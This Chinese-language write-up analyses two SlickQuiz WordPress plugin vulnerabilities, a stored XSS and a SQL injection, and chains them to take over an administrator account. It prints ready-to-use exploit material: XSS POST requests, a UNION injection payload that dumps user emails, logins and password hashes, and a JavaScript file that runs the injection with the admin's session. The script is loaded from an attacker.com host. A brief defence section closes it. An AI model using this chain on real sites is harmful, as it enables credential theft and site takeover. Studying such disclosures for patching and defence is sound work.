挖洞经验 | 综合利用SlickQuiz两个0-Day漏洞接管Uber的WordPress网站
字数 1047 2025-08-18 11:39:00
SlickQuiz插件漏洞分析与利用教学文档
漏洞概述
本教学文档详细分析WordPress插件SlickQuiz存在的两个0-day漏洞:存储型XSS(CVE-2019-12517)和SQL注入(CVE-2019-12516),以及如何综合利用这两个漏洞实现从普通用户到WordPress管理员权限的提升。
漏洞1:存储型XSS (CVE-2019-12517)
漏洞位置
php/slickquiz-scores.php文件中的generate_score_row()方法
漏洞代码分析
function generate_score_row( $score ) {
$scoreRow = '';
$scoreRow .= '<tr>';
$scoreRow .= '<td class="table_id">' . $score->id . '</td>';
$scoreRow .= '<td class="table_name">' . $score->name . '</td>';
$scoreRow .= '<td class="table_email">' . $score->email . '</td>';
$scoreRow .= '<td class="table_score">' . $score->score . '</td>';
$scoreRow .= '<td class="table_created">' . $score->createdDate . '</td>';
$scoreRow .= '<td class="table_actions">' . $this->get_score_actions( $score->id ) . '</td>';
$scoreRow .= '</tr>';
return $scoreRow;
}
漏洞原理
- 用户名(
$score->name)、邮箱($score->email)和分数($score->score)都直接拼接进HTML而未经任何过滤或编码 - 攻击者可构造恶意输入,当管理员查看用户分数时触发XSS
漏洞利用方法
发送以下POST请求触发XSS:
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
action=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script>alert(2)</script>","score":"<script>alert(3)</script>","quiz_id":1}
漏洞2:SQL注入 (CVE-2019-12516)
漏洞位置
php/slickquiz-model.php文件中的get_quiz_by_id()方法
漏洞代码分析
function get_quiz_by_id( $id ) {
global $wpdb;
$db_name = $wpdb->prefix . 'plugin_slickquiz';
$quizResult = $wpdb->get_row( "SELECT * FROM $db_name WHERE id = $id" );
return $quizResult;
}
漏洞原理
id参数直接拼接到SQL查询中,未使用预处理语句- 攻击者可通过构造恶意
id参数实现SQL注入
漏洞利用方法
构造以下URL实现时间盲注:
/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)
漏洞组合利用
步骤1:构造SQL注入Payload获取管理员凭据
使用以下Payload获取管理员邮箱、用户名和密码哈希:
1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--
步骤2:创建恶意JavaScript文件
创建slickquiz.js文件内容如下:
let url = 'http://localhost/wordpress/wp-admin/admin.php?page=slickquiz-scores&id=';
let payload = '1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--'
let xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
let result = xhr.responseText.match(/(?:<h2>SlickQuiz Scores for h2>)/);
alert(result[1]);
}
}
xhr.open('GET', url + payload, true);
xhr.send();
步骤3:通过XSS加载恶意JavaScript
发送以下POST请求触发XSS并加载恶意JS:
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
action=save_quiz_score&json={"name":"xss","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}
防御措施
-
XSS防御:
- 对所有用户输入进行HTML实体编码
- 使用Content Security Policy (CSP)限制脚本执行
- 实现输出编码
-
SQL注入防御:
- 使用预处理语句和参数化查询
- 对输入进行严格验证和过滤
- 使用WordPress提供的
$wpdb->prepare()方法
-
其他安全建议:
- 限制管理员后台访问权限
- 实施CSRF保护
- 定期更新插件和安全审计
总结
本教学文档详细分析了SlickQuiz插件中的两个高危漏洞及其组合利用方法。通过存储型XSS漏洞可以诱使管理员执行恶意脚本,而SQL注入漏洞则可以获取敏感数据库信息。组合利用这两个漏洞,攻击者可以获取WordPress管理员凭据,实现权限提升。开发者应重视输入验证和输出编码,避免此类安全问题。